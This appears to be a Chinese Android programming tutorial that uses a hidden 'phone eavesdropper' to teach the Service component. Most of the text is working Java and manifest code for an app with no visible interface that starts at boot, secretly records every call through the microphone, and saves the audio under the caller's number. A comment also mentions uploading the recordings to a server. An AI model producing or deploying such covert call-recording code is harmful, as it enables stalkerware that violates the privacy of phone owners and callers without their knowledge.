Android中 服务Service 电话窃听器

组件—服务

后台长期运行的没有界面的一个activity。


电话窃听器:

需求:

1.没有界面,一般用户看不到,开机自动启动

2.长期的后台运行,监视当前用户的手机状态

3.通话状态,开启一个录音机,然后录音通话记录,保存在sd卡中。  


创建服务的步骤:

1.写一个类,继承系统的Service组件

2.清单文件配置

3.在服务的onCreate()方法做服务初始化的操作

4.在服务的onDestroy()方法里面做服务扫尾操作

5.开启服务startService(intent) stopService(intent)。


一.自己写界面控制服务的开启和关闭

xml文件很简单,就两个button开启服务和关闭服务,不给出了。

技术分享


MainActivity.java文件,

package com.itheima.phonelistener;

import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
import android.view.Menu;
import android.view.View;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
	}

	/**
	 * 开启服务按钮对应的点击时间
	 * @param view
	 */
	public void start(View view){
		//定义服务的意图对象
		Intent intent = new Intent(this,PhoneStatusService.class);
		startService(intent);
	}

	/**
	 * 关闭服务按钮对应的点击时间
	 * @param view
	 */
	public void stop(View view){
		Intent intent = new Intent(this,PhoneStatusService.class);
		stopService(intent);
	}
}

服务PhoneStatusService.java文件,

package com.itheima.phonelistener;

import java.io.File;
import java.io.IOException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioSource;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhoneStatusService extends Service {
	
	public static final String TAG = "PhoneStatusService";
	//声明手机电话系统状态管理的服务类
	private TelephonyManager tm;
	//电话状态的监听器
	private MyPhoneListener myPhoneListener;
	//定义一个电话录音机
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent arg0) {
		return null;
	}

	//Called by the system when the service is first created
	//当服务第一次被创建的时候执行,由系统执行的。
	@Override
	public void onCreate() {
		//获取手机电话状态管理的服务。
		tm  = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);
		//创建一个监听器,监听电话呼叫状态的变化。
		myPhoneListener = new MyPhoneListener();
		//开始监听用户的通话状态
		tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE);
		
		super.onCreate();
	}
	//Called by the system to notify a Service that it is no longer used and is being removed
	//当服务被停止的时候调用。
	@Override
	public void onDestroy() {
		//服务停止取消电话的监听器
		tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE);
		myPhoneListener = null;
		super.onDestroy();
	}
	private class MyPhoneListener extends PhoneStateListener{

		//当手机呼叫状态变化的时候 执行下面代码。
		//state 电话的状态
		//incomingnumber 来电号码
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				//判断我们当前手机的通话状态
				switch (state) {
				//手机处于空闲状态,没有人打电话 没有零响
				case TelephonyManager.CALL_STATE_IDLE:
					Log.i(TAG,"手机处于空闲状态,检查刚才是否开启了录音机,如果开启了,保存音频到sd卡");
					if(mediaRecorder!=null){
						//8.停止录音
						mediaRecorder.stop();
						//9.释放资源。
						mediaRecorder.release();
						//方便垃圾回收器回收掉资源
						mediaRecorder = null;
						//上传音频文件到服务器 。 网络请求api。删除sd卡临时保存的文件。
					}
					break;
				//手机零响状态
				case TelephonyManager.CALL_STATE_RINGING:
					Log.i(TAG,"手机铃声响的状态,悄悄地开启一个录音机,准备录音。");
					//1.第一步创建一个多媒体录音机的实例
					mediaRecorder = new MediaRecorder();
					//2.指定录音机的音频源 录音的音源是麦克风
					mediaRecorder.setAudioSource(AudioSource.MIC);
					//3.指定这个音频文件的格式 。
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					//4.指定录出来的音频文件保存的文件路径
					File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp");
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					//5.设置音频的编码格式
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
					//6.准备开始录音
					mediaRecorder.prepare();
					break;
				//电话接通状态,用户正在打电话
				case TelephonyManager.CALL_STATE_OFFHOOK:
					Log.i(TAG,"手机处于通话状态,开始录音,把用户说的话都给录下来。");
					if(mediaRecorder!=null){
						//7.开始录音
						mediaRecorder.start();
					}
					break;
				}
				super.onCallStateChanged(state, incomingNumber);
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
		
	}
	
	
}

配置文件AndroidManifest.xml添加

<service android:name="com.itheima.phonelistener.PhoneStatusService" >
        </service>
<!-- 监视用户电话的状态侵犯了用户的隐私,需要权限 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <!-- 录音需要权限 -->
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <!-- 写sd卡 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
技术分享

二.开机自动启动服务

配置文件AndroidManifest.xml添加

<!--
    接收手机启动完毕广播事件的权限,在4.0以前的版本,不需要添加这个权限也可以开启启动,
    在4.0以后的版本 不包括4。0必须要添加开机启动的权限
    -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />


自定义开机广播接受者,

package com.itheima.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class BootCompleteReceiver extends BroadcastReceiver {

	private static final String TAG = "BootCompleteReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"手机启动完毕了,监视到了手机启动的广播事件,开启后台监听的服务");
		Intent i = new Intent(context,PhoneStatusService.class);
		context.startService(i);
	}

}
技术分享

查看sd卡路径下可以找到.3gp文件,就是通话的录音文件。

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。